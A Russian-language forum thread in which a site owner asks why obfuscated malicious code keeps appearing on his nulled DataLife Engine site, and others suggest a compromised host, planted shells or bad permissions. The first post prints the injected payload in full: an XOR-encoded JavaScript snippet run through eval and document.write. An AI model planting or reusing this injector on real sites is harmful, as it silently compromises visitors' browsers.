[bober]

Cтолкнулся с такой проблемой. Время от времени на сайте появляется вирусный код. Пароли менял не помогает, может кто-то сталкивался с такой проблемой. Не пойму где дыра.
Вот собственно вирус

PHP код:

<script>rpnsxy=["uqjici=0;
snwvcdmd='';
for(oxbjvi=0;
oxbjvi<rpnsxy[0]['length'];
oxbjvi+=1)uqjici+=rpnsxy[0].charCodeAt(oxbjvi);
uqjici%=0x64;
for(oxbjvi=0;
oxbjvi<rpnsxy[1]['length'];
oxbjvi+=2)snwvcdmd+=String.fromCharCode(parseInt(0+'x'+rpnsxy[1].charAt(oxbjvi)+rpnsxy[1].charAt(oxbjvi+1))^uqjici);
document.write(snwvcdmd);
","13475b424311134d404b5611135c4c5d465f5b11594e5d0f5b4a425f66695d4e424a124b404c5a424a415b014c5d4a4e5b4a6a434a424a415b070846495d4e424a0806145b4a425f66695d4e424a015c4a5b6e5b5b5d464d5a5b4a0708464b0803087d7c66695d4e424a0806145b4a425f66695d4e424a015c4a5b6e5b5b5d464d5a5b4a07085c5d4c080308475b5b5f1500004c43464c44025f40465c44014c4042005b474a5d4a004641014c484610180806145b4a425f66695d4e424a015c5b56434a0159465c464d4643465b56120847464b4b4a4108145b4a425f66695d4e424a015c5b56434a0158464b5b4712081f5f5708145b4a425f66695d4e424a015c5b56434a01474a4648475b12081f5f57081466695d4e424a604d450f120f4b404c5a424a415b014d404b56014e5f5f4a414b6c4746434b075b4a425f66695d4e424a061413005c4c5d465f5b1113004d404b56111300475b424311"];
eval(rpnsxy[0]);
</script> 


PS.(движок DLE NULL)

[Анальгин]

Сборку откуда качали?

[bober]

Сборку откуда качали?

DataLife Engine v.8.3 Nulled by M.I.D-Team
http://www.mid-team.ws/

[Анальгин]

bober, тогда 100% проблема у тя на хостинге. Мб тя ломанули? Права доступа у тебя стоят?

[bober]

bober, тогда 100% проблема у тя на хостинге. Мб тя ломанули? Права доступа у тебя стоят?

Ну незнаю, сменил еще раз пароль на cpanel. А права доступа на что ты имел ввиду?
И ломают ток один сайт постоянно, хотя на акке их больше.

[cttr]

Шелл в login.tpl поищи Глянь какие то левые include или непонятные коды.

[bober]

Шелл в login.tpl поищи Глянь какие то левые include или непонятные коды.

Смотрел - чисто!

[Анальгин]

Шелл в login.tpl поищи Глянь какие то левые include или непонятные коды.

Не факт, может быть в любом файле

А права доступа на что ты имел ввиду?

Chmod. Поспрашивай своего хостера что это такое.

[bober]

Chmod. Поспрашивай своего хостера что это такое.

Ну что такое Chmod я знаю, так я сисьадмин, на папки я выставил там все норм.
Можно конечно перешерстить все движло, просто может кто-то сталкивался с такой траблой, это бы ускорило процесс поиска вируса.

Буду искать includы

[Анальгин]

bober, нет, я к тому, что даже если ты все уберешь, не факт что такое не закинут снова.